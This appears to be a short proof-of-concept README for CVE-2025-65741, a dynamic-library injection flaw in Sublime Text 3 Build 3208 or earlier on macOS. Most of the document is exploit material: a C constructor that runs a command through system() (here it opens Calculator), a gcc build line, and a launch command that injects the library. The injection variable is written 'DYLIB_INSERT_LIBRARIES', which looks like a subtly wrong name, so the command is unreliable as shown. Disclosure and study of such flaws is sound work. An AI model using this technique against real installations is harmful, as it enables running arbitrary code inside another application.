vinicius-batistella/cve-2025-65741
Download: https://www.sublimetext.com/3
CVE: CVE-2025-65741 | https://nvd.nist.gov/vuln/detail/CVE-2025-65741
Author: Vinicius Batistella
Version Affected: Sublime Text 3 Build 3208 or prior for macOS
The Sublime Text app does not correctly check an unsigned code injection, which allows an attacker to compile a .dylib lib and force the app to run it in the context of the application. In the following example, the Sublime Text app was forced to open the calc binary. This vulnerability has been fixed in the Build 3209 and after.
#include <stdio.h>
#include <stdlib.h>
__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
printf("[+] Dynalic Library Injection: %s\n", argv[0]);
system("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
}
gcc -dynamiclib injection.c -arch x86_64 -o injection_x86.dylib
DYLIB_INSERT_LIBRARIES=injection_x86.dylib /Applications/Sublime\ Text.app/Contents/MacOS/Sublime\ Text